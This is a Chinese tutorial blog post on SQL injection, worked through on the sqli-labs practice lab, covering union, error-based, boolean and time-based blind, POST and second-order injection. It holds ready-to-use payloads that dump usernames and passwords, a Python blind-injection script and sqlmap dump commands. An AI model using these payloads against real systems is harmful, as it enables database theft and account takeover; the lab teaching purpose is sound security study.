SQL各种注入详解加案例--持续更新

news2024/12/24 2:53:45

sql注入

  • 联合查询注入
    • 案例
      • 手工注入
        • 判断是否有SQL注入漏洞
      • sqlmap工具注入
  • 报错注入
    • 常用的函数
      • updatexml()函数
        • 案例
      • floor()
      • 涉及的函数
      • 实现
        • 手工注入
        • sqlmap工具注入
  • 盲注
    • 布尔盲注
      • 案例
        • 手工注入
        • 脚本
        • sqlmap自动化工具
    • 时间盲注
  • post注入
    • GET传参和POST传参
      • 案例
        • 手工注入
        • sqlmap工具
  • 二次注入

联合查询注入

联合查询注入用到的关键词是union,但是在联合查询的时候必须要满足两张表的列数是相同的不然会出错

案例

手工注入

判断是否有SQL注入漏洞

1,当输入Less-1/?id=1时会显示显示对应的Login name与Password,可以证明我们输入的内容是在数据库里面查询
在这里插入图片描述

2,判断SQL语句是否是拼接
a,当我们输入1’时会报错
在这里插入图片描述

b,当我们输入1'--+时不会报错,就可以使用联合查询的方式进行sql注入
注意:最后的--+是注释符,在Mysql中注释符有--空格#/**/,在浏览器中为什么用–+来注释而不是–空格,因为在url传参时,空格会被忽略掉,+号会被解析成空格。
在这里插入图片描述

我们要了解有多少列可以用order by进行查询
在输入3的时候页面正常显示,
在这里插入图片描述

输入4的时候页面访问错误。说明有三列
在这里插入图片描述

3.爆破在这三个列那个列是在页面显示的

在这里插入图片描述

从显示来看第2,3列里面数据是显示在页面的

4.爆破数据库名

输入?id=1’union select 1,database(),3–+显示出数据库名是security
在这里插入图片描述

5.爆破表
在数据库里面默认有一个库information_schema里面有所有表的信息。
输入?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+时会爆破出表名
在这里插入图片描述

6.爆破字段名
上一步我们获取了4张表,根据表名可以猜到用户的账户密码在users里面

输入?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+得到了两个敏感的字段,username和password
在这里插入图片描述

7.爆破用户名和密码

输入?id=-1’ union select 1,2,group_concat(id,username,password) from users --+就可以得到对应的信息
在这里插入图片描述

sqlmap工具注入

1.命令大全

-u 指定目标URL (可以是http协议也可以是https协议)
 
-d 连接数据库
 
--dbs 列出所有的数据库
 
--current-db 列出当前数据库
 
--tables 列出当前的表
 
--columns 列出当前的列
 
-D 选择使用哪个数据库
 
-T 选择使用哪个表
 
-C 选择使用哪个列
 
--dump 获取字段中的数据
 
--batch 自动选择yes
 
--smart 启发式快速判断,节约浪费时间
 
--forms 尝试使用post注入
 
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
 
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
 
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
 
-o 开启所有默认性能优化
 
--tamper 调用脚本进行注入
 
-v 指定sqlmap的回显等级
 
--delay 设置多久访问一次
 
--os-shell 获取主机shell,一般不太好用,因为没权限
 
-m 批量操作
 
-c 指定配置文件,会按照该配置文件执行动作
 
-data data指定的数据会当做post数据提交
 
-timeout 设定超时时间
 
--level 设置注入探测等级
 
--risk 风险等级
 
--identify-waf 检测防火墙类型
 
--param-del="分割符" 设置参数的分割符
 
--skip-urlencode 不进行url编码
 
--keep-alive 设置持久连接,加快探测速度
 
--null-connection 检索没有body响应的内容,多用于盲注
 
--thread 最大为10 设置多线程

1.注入库名

python sqlmap.py -u http://192.168.190.1/xh/Less-1/?id=-1' --current-db

在这里插入图片描述
2.注入表名
在这里插入图片描述
3.注入列
在这里插入图片描述
4.拿数据
在这里插入图片描述

报错注入

报错注入应用于在输入构造的sql注入语句的时候页面没有回显位

常用的函数

updatexml()函数

在正常情况下,这个函数会返回被修改后的XML文档。但是,如果XPath表达式在XML文档中不存在,或者XML_document不是有效的XML文档,那么函数将返回一个错误
注意:如果使用updatexml函数的时候,要配合mysql截取函数来使用,因为updatexml显示的字段只有32位,显示不全

案例
?id=1‘ ’and updatexml(1,concat('~',(select database())),3) --+

在这里插入图片描述
当然后续的步骤和联合查询注入步骤一样,只需要修改database()
注意在最后获取数据的时候,因为updatexml显示有限制,需要用到截取函数来显示

?id=1'and updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,30) from users)),3) --+

在这里插入图片描述

floor()

涉及的函数

1.rand()函数: 随机返回0~1间的小数
2.floor()函数: 小数向下取整数。
3.group by子句: 分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组
4.count()函数:汇总统计数量
5.concat()将括号内数据用第一个字段连接起来
注意:rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复
以payload concat(floor(rand(0)*2),database()) 为例子,当执行时会显示1security主键重复,这是为什么呢

在sql执行的时候,floor是向下取整,配合rand(0)*2产生的前五位数字一定是01101,这下就简单了,我们来模拟group_by过程,遍历 表第一行时,先计算出一个 x=0security,查临时表,不存在,再次计算 x 然后插入 x=1security;遍历到第二行,计算出一个 x=1security,临时表中已经存在,继续遍历;遍历到第三行,计算出一个 x=0security,发现表中没有,再次计算 x 然后插入 x=1security,注意已经插入过1security,所以会出现报错,将1security报错出来

实现

手工注入

爆破数据库名

?id=1' union select 1,count(*),concat(floor(rand(0)*2),database())x from information_schema.tables group by x --+

在这里插入图片描述
后续的步骤和前面注入的过程类似

#爆表名:(网上有博客说不能使用 group_concat 拼接,但是在 sqli-labs Less-5 测试可以使用。如果不能使用的话,可以使用 limit)
id=-1' union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema="security"))x from information_schema.tables group by x--+

#爆列名:(where 后面有两个判断条件:库名和表名,避免不同库中有相同表名,造成查询出来的数据混乱)
id=-1' union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"))x from information_schema.tables group by x--+

#爆数据:
id=-1' union select 1,count(*),concat(floor(rand(0)*2),(select concat(username,0x7e,password) from `users` limit 0,1))x from information_schema.tables group by x--+
sqlmap工具注入
python sqlmap.py -u http://192.168.190.1/xh/Less-5/?id=-1' -D security -T users -C id,username,password --dump

在这里插入图片描述

盲注

布尔盲注

判断是否是布尔类型的:当一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,由于布尔类型的注入只会告知是或者不是,所以只能通过页面返回的对与错来进行一个SQL的注入。

案例

手工注入

1.挨个判断数据库名
/?id=1’ and ascii(substr((select database()),1,1))=115–+
发现数据库第一位是s
然后判断第二位
/?id=1’ and ascii(substr((select database()),2,1))=102–+

2.当获取到数据库名时候继续挨个判断表名,列名,以及判断数据
手工的方法比较的麻烦且费时间

脚本
import requests
import math

url = "http://192.168.190.1/xh/Less-8/"


def dblength():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i


def getdbname():
    dbname = ''
    length = dblength()
    for i in range(1, length + 1):
        low = 32
        high = 126
        flag = 0
        while low <= high:
            mid = (low + high) // 2
            payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "
            data = {'id': payload}
            res = requests.get(url, params=data)
            if 'You are in...........' in res.text:
                low = mid
            else:
                high = mid
            if mid == flag:
                dbname += chr(math.floor(mid + 1))
                break
            flag = mid
        print(dbname)
    return dbname


print(getdbname())

利用简单的二分法查找就可以注入出想要的数据
在这里插入图片描述

sqlmap自动化工具
python sqlmap.py -u http://192.168.190.1/xh/Less-8/?id=-1' -D security -T users -C id,username,password --dump

在这里插入图片描述

时间盲注

时间盲注和布尔盲注的区别是,不管输入的数据正不正确只显示一个跳转页面,当然在注入的时候可以加一个sleep函数使得页面进行沉睡,当访问正确的时候,页面沉睡几秒后跳转,访问错误页面即可跳转。

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- +

可以利用上述的代码来进行查询

如果页面响应时间超过5秒,说明字符内容判断正确; 如果页面响应时间不超过5秒(正常响应),说明字符内容判断错误,递增猜解该字符的其他可能性。
第一个字符猜解成功后,依次猜解第二个、第三个……第n个

时间盲注所消耗的时间远远比布尔盲注的时间久,有时候还会受网络波动的影响。
当然也可以用脚本来实现,至于要设定一个沉睡时间就可以。

post注入

GET传参和POST传参

GET传参就是我们平常的在访问一个网页地址的时候,网址的网站路径后面加的“?”后面的参数等于…。例如“http://www.xxx.com?id=1”,这里的?id中的id就是以GET传参方式传递的。即:GET方式传递的参数都会在URL中显示出来。GET方式传参如果传递的是用户名和密码的话,就显得数据在传输过程中保密性非常的差。这时候就出来了另一种参数提交方式——POST传参。
POST方式就是不容易泄露敏感信息,因为POST传递的参数的数据都在请求体中,只有通过使用抓包软件才能够获取我们POST方式提交的数据。一般POST的提交方式都会出现在账号登录,密码修改的功能当中。

案例

手工注入

1.在源码的提示下,可以清楚的看到可以利用单引号进行闭合,并且是报错注入
在这里插入图片描述

在form表单中进行注入操作
在username里面输入注入信息
admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#
password里面随便书写
在这里插入图片描述
进而爆破出数据库名。
接下来就是熟悉的爆破表名,列名以及拿数据
爆破表名

admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

在这里插入图片描述
爆破列名

admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#

发现没有显示敏感字段,是因为updatexml所显示的字段有限,可以利用截取函数来实现后面的字段的显示
在这里插入图片描述
爆破数据

admin' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#

在这里插入图片描述

sqlmap工具

因为是post注入,需要用bp来抓取请求包来生成txt文件,利用txt文件来对目标进行注入操作
1.bp抓包并生成txt文件
在这里插入图片描述
2.进入到sqlmap工具中,利用-r字段来指定文件

python sqlmap.py -r D:\x.txt -D security -T users -C id,username,password --dump

在这里插入图片描述

二次注入

查看源码

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

发现mysql_real_escape_string进行转义处理,无法进行SQL注入
但是又发现,我们可以注册一个账号,注册的账号是admin’#
在这里插入图片描述
新用户注册时的代码

if (isset($_POST['submit']))
{
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";

发现在执行的时候sername、password、re_password仍均被mysql_escape_string进行了转义处理。
当我们在上帝视角查看数据时,在表里面显示,并没有被转译掉
在这里插入图片描述
这我们就可以用admin’#来登录,然后跳转到修改密码的界面。
在这里插入图片描述
我们进行修改密码,发现admin的密码被修改掉了。
在这里插入图片描述
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984937.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Venv复制可以减少Pip install

接前面的一篇博客《PyCharm找不到Python咋办》中遇到的步骤&#xff1a; 有上图的提示&#xff0c;说明需要将原来的venv进行清空。&#xff08;还可以用重命名的方式&#xff0c;这样venv当中的库可以保留&#xff0c;如果Python的版本和原来一样的话&#xff0c;直接覆盖回来…

10个日常开发必备的 JavaScript 代码片段

在 Web 开发领域&#xff0c;开发效率是关键。为什么每次开始新项目时都要重新发明轮子&#xff1f;今天&#xff0c;本文汇总整理了一些方便日常开发使用的 JavaScript 代码片段&#xff0c;超越了 Lodash 和 day.js 等常见代码片段&#xff0c;提升你的开发效率&#xff0c;减…

x264 中像素扩边算法源码分析

介绍 在视频编码中,特别是在使用x264这样的H.264/MPEG-4 AVC编码器时,像素扩边(或称为边缘扩展)是一项重要的预处理步骤。像素扩边的目的是在帧的边缘添加额外的像素,这样在编码过程中可以应用滤波器,如去块滤波器(deblocking filter)和水平/垂直滤波器,而不会受到帧…

Mysql开启SSL

等二测出未开启SSL,如下 have_openssl、have_ssl都是DISABLED也不知道当时为啥没开&#xff0c;看最近的都是开启的,整改必去得开了&#xff0c;开启步骤 1.生成秘钥 进入mysql的bin目录下&#xff0c;运行 ./mysql_ssl_rsa_setup运行后会生成证书 默认证书会在mysql的data…

PTrade常见问题系列20

量化周末测试不打印日志&#xff0c;需要如何测试&#xff1f; 需要将量化服务器后台时间&#xff0c;和ptrade终端所在的电脑时间改到下周一或周五&#xff0c;具体测试方案如下&#xff1a; 先停止nginx&#xff0c;并且备份nfs以防恢复异常。 1.重置生产账号A的密码(若测试…

sed 简易使用指南

sed 简易使用指南 1 sed 介绍2 查找3 替换4 反向引用5 删除6 cai&#xff08;菜&#xff09; 导言&#xff1a; 笔者之前花了较多时间学习并整理了sed命令相关的内容&#xff0c;以及一些进阶内容。但是&#xff0c;到后来使用也就只记得那么几个简单的选项&#xff0c;再高级的…

程序员进阶之路:缓存、网络、内存与案例

编辑推荐 适读人群 &#xff1a;本书适合有一定开发经验的开发人员&#xff0c;想要突破初级层次&#xff0c;迈向高级开发的程序员阅读。 【与时俱进】本书基于Linux 6.0及以上版本讲解书中涉及的各个模块&#xff0c;有助于读者理解现代Linux内核&#xff0c;掌握实用的技术…

XML动态sql查询当前时间之前的信息报错

如图&#xff0c;sql语句在数据库里可以正常运行但是再XML文件不可以正常运行&#xff0c;报错。 原因&#xff1a;在XML中小于号"<"是会被默认认定成文一个标签的开始&#xff0c;所以用小于号就会报错。 解决办法&#xff1a; 1.把表达式反过来改成大于号 2…

新手教学系列——使用 Redis 实现任务队列:先进先出和后进先出的选择

在分布式系统和高并发场景下,任务队列是管理任务调度和执行的关键工具。Redis 作为一种高效的内存数据库,提供了简单且强大的数据结构,可以方便地实现任务队列。本文将深入探讨如何利用 Redis 实现先进先出(FIFO)和后进先出(LIFO)两种任务队列,并介绍其应用场景和实现方…

11153 kill boss

这个问题可以通过模拟游戏的过程来解决。我们可以遍历每一轮的出招&#xff0c;根据出招的规则来计算每一轮的伤害&#xff0c;并更新Acmer和Boss的血量。如果在某一轮结束后&#xff0c;Acmer的血量小于等于0&#xff0c;那么Boss赢&#xff1b;如果Boss的血量小于等于0&#…

总线学习3--SPI

一 环境搭建 老规矩&#xff0c;先上图吧。。 上面电源线接到VBUS了&#xff0c;给的一个5V&#xff0c;应该3.3V。不过这个屏还能正常跑也是不错。 折腾了一个晚上&#xff0c;主要还是找驱动&#xff0c;然后熟悉SPI接口的接法。 遇到了两个坑&#xff1a; 1 接口名称不统…

Python异常处理:12个异常处理技巧,你掌握了几个?

探索Python异常处理的深度策略&#xff0c;从基础的try-except结构到自定义异常类的创建&#xff0c;再到利用上下文管理器和装饰器提升代码健壮性。深入理解异常传递机制&#xff0c;掌握日志记录与并发环境下异常处理的关键实践&#xff0c;强调了性能考量与避免异常作为控制…

简单的docker学习 第3章 docker镜像

第3章 Docker 镜像 3.1镜像基础 3.1.1 镜像简介 ​ 镜像是一种轻量级、可执行的独立软件包&#xff0c;也可以说是一个精简的操作系统。镜像中包含应用软件及应用软件的运行环境。具体来说镜像包含运行某个软件所需的所有内容&#xff0c;包括代码、库、环境变量和配置文件等…

尚硅谷谷粒商城项目笔记——三、安装docker【电脑CPU:AMD】

三、安装docker 注意&#xff1a; 因为电脑是AMD芯片&#xff0c;自己知识储备不够&#xff0c;无法保证和课程中用到的环境一样&#xff0c;所以环境都是自己根据适应硬件软件环境重新配置的&#xff0c;这里的虚拟机使用的是VMware。 首先关闭防火墙和安全策略 systemctl…

nature子刊真实案例,录用仅需1个月!1区SCI,截稿在即!

关注GZH【欧亚科睿学术】&#xff0c;第一时间了解期刊最新动态&#xff01; &#x1f680; &#x1f680; &#x1f680; &#x1f680; 快到飞起&#xff01;这本毕业神刊竟1个月秒录&#xff01; SCI期刊信息简介 【期刊类型】工程综合类SCIE&#xff08;1个月17天…

mac chrome打开网页,莫名其妙的闪退

今天&#xff0c;突然有用户反馈更新到浏览器版本后&#xff0c;打开特定网页时&#xff0c;浏览器会出现闪退的情况。 经过对业务代码长时间的排查都没有发现具体的问题&#xff0c;于是想到使用“大数据排查”&#xff08;上网google下&#xff09;的方法&#xff0c;终于在茫…

【技巧】IDEA打断点增加条件控制

【技巧】IDEA打断点增加条件控制

03、DQL(数据查询语言)

目录 1、编写顺序 2、基本查询 3、条件查询 4、聚合函数 5、分组查询 6、排序查询 7、分页查询 8、执行顺序 1、编写顺序 SELECT 字段列表 FROM 表名列表 WHERE 条件列表 GROUP BY 分组字段列表 HAVING 分组后条件列表 ORDER BY 排序字段列表 LIMIT 分页参数2、基本查…

Visual C++ 下载、安装教程(微软常用运行库合集|dll报错必装)

前言 Microsoft Visual C Redistributable&#xff08;简称MSVC&#xff0c;VB/VC&#xff0c;系统运行库&#xff09;是Windows操作系统应用程序的基础类型库组件。此版Visual C运行库组件合集&#xff08;微软常用运行库合集&#xff09;由国内封装爱好者Dreamcast打包而成&…

C#学习笔记14:SYN6288语音模块_Winform上位机控制软件

今日尝试使用C# Winform写一个上位机软件控制 SYN6288语音模块 这里不讲什么基本原理(或者讲的比较略简)&#xff0c;直接讲实现了就...... 文章提供测试代码讲解、测试效果图、整体测试工程下载 目录 控件的摆放&#xff1a; SYN6288介绍: 代码编程&#xff1a; 对16进制发送…